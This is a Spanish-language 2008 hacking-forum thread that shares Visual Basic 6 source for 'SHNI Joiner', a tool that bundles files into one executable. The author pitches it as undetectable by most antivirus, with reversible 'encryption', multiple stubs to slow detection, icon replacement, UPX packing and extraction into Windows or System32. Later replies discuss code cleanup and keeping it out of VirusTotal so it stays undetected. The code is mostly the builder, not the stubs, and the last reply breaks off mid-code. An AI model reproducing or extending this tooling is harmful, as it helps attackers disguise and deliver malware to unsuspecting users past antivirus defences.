elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
07 Octubre 2008, 18:35  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Man-In-the-Middle, Hendrix)
| | |-+  [Source] SHNI Joiner 1.0
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Imprimir
Autor Tema: [Source] SHNI Joiner 1.0  (Leído 1027 veces)
Hacker_Zero

Desconectado Desconectado

Mensajes: 212


Nunca digas es imposible....


Ver Perfil WWW
[Source] SHNI Joiner 1.0
« en: 14 Junio 2008, 18:21 »

Bueno, aquí os dejo código fuente completo del SHNI Joiner junto con el de los stubs. Está programado en VB6, que lo disfrutéis.

¿Que es SHNI Joiner?

Bueno, aquí os presento esta herramienta llevada a cabo en el lab de eduhack.es y que a día de hoy debería ser indetectable a la gran mayoría de antivirus (haber cuanto dura). SHNI Joiner es un juntador de archivos capaz de unir cualquier cantidad de archivos en un único ejecutable.


Capturas:








Características:

  • Todos los stubs están incluidos en el exe del Joiner.
  • Permite juntar archivos de cualquier formato.
  • Permite añadir infinitos archivos en 1 único ejecutable.
  • Nos anticipa el peso del ejecutable final.
  • Permite encriptar el contenido de ejecutable usando 2 tipos de encriptación (scantime).
  • Cuenta con 3 Stubs, por lo que los AV tardarán un poco más en detectarlos todos.
  • Permite cambiar el icono del ejecutable final.
  • Permite elegir la ruta donde se extraerán los archivos.
  • Permite comprimir el ejecutable final con UPX.


Mejoras para la versión 2.0:
  • Los stubs serán programados en ASM.
  • Código más rápido y eficiente y menos pesado.
  • Alguna buena sorpresa  :P

Código:
http://www.eduhack.es/descargas/SHNI_Joiner_Source.zip


También dejo el Código Fuente aquí para que todos tengáis acceso a él directamene y así poder opinar al respecto así como dar recomendaciones o críticas:

Código Fuente del Form Principal:

Código
'///////////////////////////////////////////////////////////////////
'//                                                              '//
'//    SHNI Joiner 1.0 by www.eduhack.es                         '//
'//                                                              '//
'//    Este souce ha sido creado en el laboratorio eduahack.es   '//
'//    se permite su modificación y su posteo en otros lugares   '//
'//    siempre y cuando se mantenga la fuente.                   '//
'//                                                              '//
'///////////////////////////////////////////////////////////////////
 
 
'Decalramos varibles
Dim cSubLV As cSubclassListView
Dim tamaño As String
Dim tamaño2 As String
Dim StubSin() As Byte 'Contendrá los bytes del StubSin
Dim StubStr() As Byte 'Contendrá los bytes del StubStr
Dim StubHuf() As Byte 'Contendrá los bytes del StubHuf
Dim UPX() As Byte     'Contendrá los bytes del UPx
 
Private Sub acercade_Click(Index As Integer)
FrmAcercade.Show 'Mostramos el form Acerca de
End Sub
 
Private Sub form_load()
'Comprobamos si el exe ya está abierto
If App.PrevInstance Then
MsgBox "La aplicación ya está abierta", vbInformation, "SHNI Joiner 1.0"
End
End If
'//////////////////////////////////////////////////////////////////////
 
 
Label1.Caption = "Tamaño Total: 20 KB"
tamaño = "20"
 
 
'Aplicamos el skin al Listview
Set cSubLV = New cSubclassListView
cSubLV.SubClassListView lv
cSubLV.SkinPicture = ImageList1.ListImages.item(1).Picture
cSubLV.TextNormalColor = vbBlack
cSubLV.TextResalteColor = vbBlack
'/////////////////////////////////////////////////////////////////////
 
 
'Iniciamos la aparición del Formulario
If Not Transparencia(Me.hwnd, 0) = 0 Then
 
   MsgBox " Esta función Api no es soportada en Versiones" _
          & "anteriores a windows 2000", vbCritical
   Me.Show
Else
 
   Me.Enabled = False
   Me.Show
 
   Dim i As Integer
   For i = 0 To 255 Step 2
       Call Transparencia(Me.hwnd, i)
       DoEvents
   Next i
 
   Me.Enabled = True
 
End If
'////////////////////////////////////////////////////////////////////
 
 
'Cargamos los recursos del .res en las variables
StubSin = LoadResData(101, "CUSTOM")
StubStr = LoadResData(102, "CUSTOM")
StubHuf = LoadResData(103, "CUSTOM")
UPX = LoadResData(104, "CUSTOM")
'////////////////////////////////////////////////////////////////////
 
'Valores iniciales de las variables
Ificono = "No"
taskkill = "No"
Comprimir = "No"
stub = "Sin"
rutaext = "Windows"
End Sub
 
'Si pulsamos el boton añaidr agregamos el archivo al Listview y sumamos su tamaño
'al tamaño final del exe
Private Sub añadir_Click()
cd.DialogTitle = "Selecciona el archivo a juntar"
cd.Filter = "Todos los archivos *.*|*.*"
cd.FileName = ""
cd.ShowOpen
If cd.FileName <> "" Then
With lv.ListItems.Add(, , cd.FileName)
.SubItems(1) = Val((FileLen(cd.FileName)) / Val("1024")) & " Kb"
End With
tamaño2 = (Val(FileLen(cd.FileName))) / (Val("1024"))
tamaño = Val(tamaño) + Val(tamaño2)
Label1.Caption = "Tamaño Total: " + tamaño + " KB"
End If
End Sub
 
'Si puslamos el boton eliminar eliminamos el item seleccionado y restamos su tamaño
'al tamaño final
Private Sub eliminar_click()
If lv.ListItems.Count = 0 Then
MsgBox "No hay elementos que eliminar", vbInformation, "SHNI Joiner 1.0"
Else
tamaño2 = Val((FileLen(lv.SelectedItem.Text)) / Val("1024"))
tamaño = Val(tamaño) - Val(tamaño2)
Label1.Caption = "Tamaño Total: " + tamaño + " KB"
lv.ListItems.Remove (lv.SelectedItem.Index)
End If
End Sub
 
Private Sub compilar_Click()
'Si hay menos de 2 archivos en el listview
If lv.ListItems.Count < 2 Then
MsgBox "Debes seleccionar al menos 2 archivos para juntar", vbInformation, "SHNI Joiner 1.0"
Else
 
Dim Ext As String
Dim SubFirma As String
Dim Firma As String
Dim Ruta As String
Dim Datos As String
Dim spartes As Variant
Dim valor As Double
Firma = "Hacker_Zero"
SubFirma = "*^*^*^*"
 
'Abrimos el CDialog
cd.FileName = ""
cd.Filter = "Archivos Ejecutables (*.exe)|*.exe"
cd.ShowSave
If cd.FileName <> "" Then
Ruta = cd.FileName
 
'Esto nos permitirá usar la progressbar durante la compilación mediante una regla
'de tres
valor = 100 / (2 * lv.ListItems.Count)
 
'Si el stub seleccionado es el Sin encriptación
If stub = "Sin" Then
 
Open Ruta For Binary As #1 'Creamos el StubSin en la ruta especificada
Put #1, , StubSin
Close #1
 
'Si hay que cambiar el icono se lo cambiamos
If Ificono = "Si" Then
   ReplaceIcons Icono, Ruta, error
End If
 
For n = 1 To lv.ListItems.Count 'Leemos cada uno de los items del listview
 
   'Obtenemos la extensión del archivo
   SplitPath lv.ListItems.item(n).Text, lv.ListItems.item(n).Text, , Ext
 
   Open lv.ListItems.item(n) For Binary As #1 'Leemos el archivo y lo almacenamos en Datos
       Datos = Space(LOF(1))
       Get #1, , Datos
   Close #1
 
   Progreso.Value = Progreso.Value + valor 'Añadimos el valor a la progressbar
 
   Open Ruta For Binary As #1 'Añadimos al StubSin los datos obtenidos separados por firmas
       Seek (1), LOF(1) + 1
       Put #1, , Firma
       Put #1, , Datos
       Put #1, , SubFirma
       Put #1, , Ext
       Put #1, , SubFirma
       Put #1, , rutaext
   Close #1
   Progreso.Value = Progreso.Value + valor
 
Next n 'Asi con todos los items
End If
 
 
'Si el stub seleccionado es StubStr
If stub = "Str" Then
Open Ruta For Binary As #1 'Copiamos el stub a la ruta especificada
Put #1, , StubStr
Close #1
 
If Ificono = "Si" Then 'Si hay que cambiar el icono se lo cambiamos
   ReplaceIcons Icono, Ruta, error
End If
 
 
For i = 1 To lv.ListItems.Count 'Leemos cada uno de los items del listview
 
   'Obtenemos la extensión del archivo
   SplitPath lv.ListItems.item(i).Text, lv.ListItems.item(i).Text, , Ext
 
   Open lv.ListItems.item(i) For Binary As #1 'Leemos el archivo
       Datos = Space(LOF(1))
       Get #1, , Datos
   Close #1
 
   Datos = StrReverse(Datos) 'Encriptamos el contenido con StrReverse
 
   Progreso.Value = Progreso.Value + valor 'Añadimos el valor al progreso
 
   Open Ruta For Binary As #1 'Guardamos los datos en en Stub separados por firmas
       Seek (1), LOF(1) + 1
       Put #1, , Firma
       Put #1, , Datos
       Put #1, , SubFirma
       Put #1, , Ext
       Put #1, , SubFirma
       Put #1, , rutaext
   Close #1
 
   Progreso.Value = Progreso.Value + valor 'Añadimos el valor la progressbar
 
Next i
End If
 
If stub = "Huf" Then 'Si es Stub seleccionado es StubHuf
'Guardamos el Stub en la ruta especificada
Open Ruta For Binary As #1
Put #1, , StubHuf
Close #1
 
If Ificono = "Si" Then 'Si hay que cambiar el icono se lo cambiamos
   ReplaceIcons Icono, Ruta, error
End If
 
For z = 1 To lv.ListItems.Count 'Leemos cada uno de los items del Listview
 
   'Obtenemos la extensión del archivo
   SplitPath lv.ListItems.item(i).Text, lv.ListItems.item(i).Text, , Ext
 
   Open lv.ListItems.item(i) For Binary As #1 'Leemos el archivo
       Datos = Space(LOF(1))
       Get #1, , Datos
   Close #1
 
Progreso.Value = Progreso.Value + valor 'Añadimos el valor a la progressbar
 
   Datos = HuffmanEncode(Datos, True) 'Encriptamos el archivo
 
   Open Ruta For Binary As #1 'Guardamos en el Stub los datos separados por firmas
       Seek (1), LOF(1) + 1
       Put #1, , Firma
       Put #1, , Datos
       Put #1, , SubFirma
       Put #1, , Ext
       Put #1, , SubFirma
       Put #1, , rutaext
   Close #1
   Progreso.Value = Progreso.Value + valor
Next z
End If
 
If Comprimir = "Si" Then 'Si hay que comprimir con UPX lo hacemos
   Open "C:\UPX.exe" For Binary As #1 'Creamos el UPX.exe en C:
   Put #1, , UPX
   Close #1
 
   Shell ("C:\upx.exe --best " + Ruta), vbHide 'Comprimimos el archivo con UPX
End If
 
MsgBox "Proceso Finalizado Correctamente", vbInformation, "Shni Joinner 1.0"
Progreso.Value = 0
End If
End If
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
 
'Si cerramos iniciamos la desaparición del formulario
If Not Transparencia(Me.hwnd, 0) = 0 Then
   Exit Sub
Else
 
   Dim i As Integer
   For i = 255 To 0 Step -3
       DoEvents
       Call Transparencia(Me.hwnd, i)
       DoEvents
   Next
 
End If
 
'Borramos el UPX.exe
Kill "C:\upx.exe"
End Sub
'Ir a la página oficial
Private Sub oficial_Click(Index As Integer)
ShellExecute Me.hwnd, "Open", "http://www.eduhack.es", &O0, &O0, SW_NORMAL
ShellExecute Me.hwnd, "Open", "http://www.eduhack.es/foro", &O0, &O0, SW_NORMAL
End Sub
'Mostramos el Formulario de Opciones
Private Sub opciones_Click()
FrmOpciones.Show
End Sub

Código Fuente del Form Opciones:

Código
Private Sub aceptar_Click()
'Si aceptamos guardamos las opciones
If Option4.Value = True Then
Ificono = "Si"
Else
Ificono = ""
End If
 
If Check4.Value = Checked Then
Comprimir = "Si"
Else
Comprimir = ""
End If
 
If Option6.Value = True Then
stub = "Str"
End If
 
If Option7.Value = True Then
stub = "Huf"
End If
 
If Option8.Value = True Then
stub = "Sin"
End If
 
If Option1.Value = True Then
rutaext = "Windows"
End If
 
If Option2.Value = True Then
rutaext = "System32"
End If
 
If Option3.Value = True Then
rutaext = "ProgramFiles"
End If
 
Unload Me
 
End Sub
 
Private Sub examinar_Click() 'Examinamos el icono
   On Error GoTo error
   cd.FileName = ""
   cd.Filter = "Iconos (*.ico)|*.ico"
   cd.ShowOpen
   If cd.FileName <> "" Then
       Image1.Picture = LoadPicture(cd.FileName)
       Icono = cd.FileName
       Else
       Image1.Picture = Nothing
       Option5.Value = True
   End If
   Exit Sub
error:
   MsgBox "Icono no válido", vbCritical, "SHNI Joinner 1.0"
   Option5.Value = True
End Sub
 
Private Sub form_load() 'Iniciamos aparicion del formulario
 
If Not Transparencia(Me.hwnd, 0) = 0 Then
 
   MsgBox " Esta función Api no es soportada en Versiones" _
          & "anteriores a windows 2000", vbCritical
   Me.Show
Else
 
   Me.Enabled = False
   Me.Show
 
   Dim i As Integer
   For i = 0 To 255 Step 2
       Call Transparencia(Me.hwnd, i)
       DoEvents
   Next i
 
   Me.Enabled = True
 
End If
FrmPrincipal.Enabled = False 'Inhabilitamos el Formulario Principal
 
End Sub
 
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
'Iniciamos la desaparición del formulario
If Not Transparencia(Me.hwnd, 0) = 0 Then
   Exit Sub
Else
 
   Dim i As Integer
   For i = 255 To 0 Step -3
       DoEvents
       Call Transparencia(Me.hwnd, i)
       DoEvents
   Next
 
End If
Unload FrmOpciones 'Descargamos el formulario
FrmPrincipal.Enabled = True 'Habilitamos el formulario principal
End Sub
 
Private Sub Option4_Click()
examinar.Enabled = True
End Sub
 
Private Sub Option5_Click()
examinar.Enabled = False
End Sub

Código Fuente del Módulo Transparencia:


Código
Private Declare Function SetLayeredWindowAttributes Lib "user32" _
   (ByVal hwnd As Long, _
    ByVal crKey As Long, _
    ByVal bAlpha As Byte, _
    ByVal dwFlags As Long) As Long
 
' Funciones api para los estilos de la ventana
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" _
   (ByVal hwnd As Long, _
    ByVal nIndex As Long) As Long
 
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" _
   (ByVal hwnd As Long, _
    ByVal nIndex As Long, _
    ByVal dwNewLong As Long) As Long
 
'constantes
Private Const GWL_EXSTYLE = (-20)
Private Const LWA_ALPHA = &H2
Private Const WS_EX_LAYERED = &H80000
 
 
 
' Función que recibe el handle de la ventana y el valor para aplciar la _
transparencia
 
Public Function Transparencia(ByVal hwnd As Long, valor As Integer) As Long
 
On Local Error GoTo errSub
 
Dim Estilo As Long
 
If valor < 0 Or valor > 255 Then
   Transparencia = 1
Else
 
   Estilo = GetWindowLong(hwnd, GWL_EXSTYLE)
   Estilo = Estilo Or WS_EX_LAYERED
 
   SetWindowLong hwnd, GWL_EXSTYLE, Estilo
 
   'Aplica el nuevo estilo con la transparencia
   SetLayeredWindowAttributes hwnd, 0, valor, LWA_ALPHA
 
   Transparencia = 0
End If
 
If Err Then
   Transparencia = 2
End If
 
Exit Function
 
errSub:
 
  MsgBox Err.Description, vbCritical, "Error"
 
End Function


Módulo para Extraer Extensiones:


Código
Public Sub SplitPath(ByVal sTodo As String, sPath As String, Optional vNombre, Optional vExt)
   '----------------------------------------------------------------
   'Divide el nombre recibido en la ruta, nombre y extensión
   '(c)Guillermo Som, 1997                         ( 1/Mar/97)
   '
   'Esta rutina aceptar? los siguientes par?metros:
   'sTodo      Valor de entrada con la ruta completa
   'Devolver la información en:
   'sPath      Ruta completa, incluida la unidad
   'vNombre    Nombre del archivo incluida la extensión
   'vExt       Extensi?n del archivo
   '
   'Los par?metros opcionales sólo se usarán si se han especificado
   '----------------------------------------------------------------
   Dim bNombre As Boolean      'Flag para saber si hay que devolver el nombre
   Dim i As Integer
 
   If Not IsMissing(vNombre) Then
       bNombre = True
       vNombre = sTodo
   End If
 
   If Not IsMissing(vExt) Then
       vExt = ""
       i = InStr(sTodo, ".")
       If i Then
           vExt = Mid$(sTodo, i + 1)
       End If
   End If
 
   sPath = ""
   'Asignar el path
   For i = Len(sTodo) To 1 Step -1
       If Mid$(sTodo, i, 1) = "\" Then
           sPath = Left$(sTodo, i - 1)
           'Si hay que devolver el nombre
           If bNombre Then
               vNombre = Mid$(sTodo, i + 1)
           End If
           Exit For
       End If
   Next
End Sub

Módulo Variables Públicas:

Código
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
 
Public Icono As String
Public Ificono As String
Public stub As String
Public rutaext As String
Public Comprimir As String
 

Además en el source completo está el módulo PE, el Módulo IconChanger, el módulo para la encriptación Huffman y el módulo para el skin del listview donado por LeandroA.

Saludos

« Última modificación: 18 Junio 2008, 00:46 por Hacker_Zero » En línea


¿Te interesa este mundo? Puedes aprender a programar en Visual Basic aquí y a programar Malware aquí
Kizar

Desconectado Desconectado

Mensajes: 1.320


kizar_net


Ver Perfil
Re: [Source] SHNI Joiner 1.0
« Respuesta #1 en: 16 Junio 2008, 16:03 »

Se puede mejorar bastante.
En línea

Karcrack

Desconectado Desconectado

Mensajes: 291


Se siente observado ¬¬'


Ver Perfil
Re: [Source] SHNI Joiner 1.0
« Respuesta #2 en: 16 Junio 2008, 16:19 »

Muy bueno, me esperare a la siguiente version, que esta no tiene nada de especial frente a otros joiners >:D :P
Porcierto, yo le añadiria la diferencia de ejecucion esa... lo de que se ejecuta un fichero mas tarde segun el tiempo que eligas de retraso, no se si me he expresado bien :laugh:
Se puede mejorar bastante.
Eso si que es una critica constructiva :xD :xD

Saludos :D
En línea

Kizar

Desconectado Desconectado

Mensajes: 1.320


kizar_net


Ver Perfil
Re: [Source] SHNI Joiner 1.0
« Respuesta #3 en: 16 Junio 2008, 18:47 »

Lo que quiero decir es que limpie el código, no esta muy desordenado, pero se puede reducir 1/3 por lo menos...
En línea

Hacker_Zero

Desconectado Desconectado

Mensajes: 212


Nunca digas es imposible....


Ver Perfil WWW
Re: [Source] SHNI Joiner 1.0
« Respuesta #4 en: 16 Junio 2008, 18:58 »

Ya dije que este joiner es como la v0.1 de la que será el joiner en si, esto no es más que una mera estructura que posteé y comenté bastante para los que no sepan hacer un simple joiner de este tipo. Creo que la segunda versión será totalmente en ASM, tanto el joiner como los stubs. Críticas (constructivas  ;D), sugerencias y recomendaciones son bienvenidas.
Saludos

PD- Supongo que a lo que se refiere Kizar es que al tener tres Stubs repite el el mismo código tres veces sacando unas pequeñas diferencias y que se podría repetir uno solo.
« Última modificación: 16 Junio 2008, 18:59 por Hacker_Zero » En línea


¿Te interesa este mundo? Puedes aprender a programar en Visual Basic aquí y a programar Malware aquí
Kizar

Desconectado Desconectado

Mensajes: 1.320


kizar_net


Ver Perfil
Re: [Source] SHNI Joiner 1.0
« Respuesta #5 en: 16 Junio 2008, 20:13 »

Entre otras cosas, pero no es solo eso sino la mitad de código de el programa sobra y cuando digo que sobra no es que no funcione, es que se puede hacer lo mismo de otra manera en la mitad de lineas-tiempo. Ser ordenado y optimizar el código es tan importante como que el programa funcione...
Ademas digamos que se ha hecho una reforma y ahora solo se pueden postear sources, pues yo creo que deberían ser modélicos para que la gente pueda aprender de algo bien hecho.

PD: Siento si soy muy duro, pero las criticas aunque sean constructivas lo son...
En línea

Hacker_Zero

Desconectado Desconectado

Mensajes: 212


Nunca digas es imposible....


Ver Perfil WWW
Re: [Source] SHNI Joiner 1.0
« Respuesta #6 en: 17 Junio 2008, 22:48 »

Nunca dije que el code fuera perfecto ni que no se puediera optimizar, salvo ordenarlo un poco y comentarlo no le hice nada más. Es un proyecto Open Source cualquiera puede modificarlo, a Kizar seguro no le interese ya que supongo que no le interesarán los joiners, pero hay gente que no sabe, cualquier sugerencia de optimización del código o cualquier reforma que hagáis está permitida y es bienvenida.
Saludos

PD- Si los códigos tienen que ser ejemplares, vais a postear 10 gatos en el subforo, es una recomendación, no una crítica  :P
En línea


¿Te interesa este mundo? Puedes aprender a programar en Visual Basic aquí y a programar Malware aquí
Kizar

Desconectado Desconectado

Mensajes: 1.320


kizar_net


Ver Perfil
Re: [Source] SHNI Joiner 1.0
« Respuesta #7 en: 18 Junio 2008, 00:21 »

Si no me interesara no abria bajado tu code y echado un ojo a tu programa, lo que no voy a hacer porque no tengo tiempo es modificar tu programa entero y volverle a subir.
Seria mas cómodo que en un mensaje se posteara todo el code escrito y que todos lo pudieran modificar todos los registrados, eso seria open source de verdad.
En línea

Hacker_Zero

Desconectado Desconectado

Mensajes: 212


Nunca digas es imposible....


Ver Perfil WWW
Re: [Source] SHNI Joiner 1.0
« Respuesta #8 en: 18 Junio 2008, 00:48 »

Ya añadí el code de los dos forms principales y de los módulos principales.
Saludos
En línea


¿Te interesa este mundo? Puedes aprender a programar en Visual Basic aquí y a programar Malware aquí
Kizar

Desconectado Desconectado

Mensajes: 1.320


kizar_net


Ver Perfil
Re: [Source] SHNI Joiner 1.0
« Respuesta #9 en: 18 Junio 2008, 15:48 »

Seria mas cómodo que en un mensaje se posteara todo el code escrito y que todos lo pudieran modificar todos los registrados, eso seria open source de verdad.

Se te olvido lo mas importante, solo los admin pueden modificar tu post xD
En línea

Hacker_Zero

Desconectado Desconectado

Mensajes: 212


Nunca digas es imposible....


Ver Perfil WWW
Re: [Source] SHNI Joiner 1.0
« Respuesta #10 en: 18 Junio 2008, 15:58 »

Yo no puedo hacer más xD, aunque eso sí sería una buena idea. Sólo nos queda que cada uno postee la modificación que le haría  :-\
Saludos
En línea


¿Te interesa este mundo? Puedes aprender a programar en Visual Basic aquí y a programar Malware aquí
sharkdragon

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: [Source] SHNI Joiner 1.0
« Respuesta #11 en: 18 Junio 2008, 18:02 »

 ;)  hola  este joiner esta bueno aunque no tenga de todo ;D
 :) Ah aclaren una cosa porque sino va a pasar lo mismo que con todos los otros joiners,aclaren que no hay que subirlo a ninguna pagina ej: virustotal.

Chau y suerte  ;D
En línea
Hacker_Zero

Desconectado Desconectado

Mensajes: 212


Nunca digas es imposible....


Ver Perfil WWW
Re: [Source] SHNI Joiner 1.0
« Respuesta #12 en: 18 Junio 2008, 18:21 »

Bueno, eso es inevitable, pero al ser open source, no es difícil volver a hacerlo indetectable  ;)
Saludos
En línea


¿Te interesa este mundo? Puedes aprender a programar en Visual Basic aquí y a programar Malware aquí
K-19

Desconectado Desconectado

Mensajes: 464


Sarah Wayne


Ver Perfil
Re: [Source] SHNI Joiner 1.0
« Respuesta #13 en: 18 Junio 2008, 18:49 »

;)  hola  este joiner esta bueno aunque no tenga de todo ;D
 :) Ah aclaren una cosa porque sino va a pasar lo mismo que con todos los otros joiners,aclaren que no hay que subirlo a ninguna pagina ej: virustotal.

Chau y suerte  ;D

Pero ahora este foro ya no es lo de antes, este joiner es open source, no creo que alguien vaya a subir el joiner ya compilado... eso pasaría con gente que no sabe ni compilar... y si se vuelve detectable ya sabes, tienes el source...
En línea

Kizar

Desconectado Desconectado

Mensajes: 1.320


kizar_net


Ver Perfil
Re: [Source] SHNI Joiner 1.0
« Respuesta #14 en: 19 Junio 2008, 01:12 »

Cada dia que tenga un rato voy a ir haciendo modificaciones considerables y las voy a ir poniendo.
Hoy he empezado por aqui, yo creo que de esta manera queda mas bonito y no se repite tanto el codigo. Cambie la funcion de añadir y borrar archivos de la lista y cree dos funciones que pueden ser llamadas desde cualquier sitio para cambiar de unidades y para actualizar el tamaño total en cualquier momento.
Código:
'*******************************************
'*** Programado por Kizar
'*******************************************

'Si pulsamos el boton añadir agregamos el archivo al listview
Private Sub añadir_Click()
    cd.DialogTitle = "Selecciona el archivo a juntar"
    cd.Filter = "Todos los ar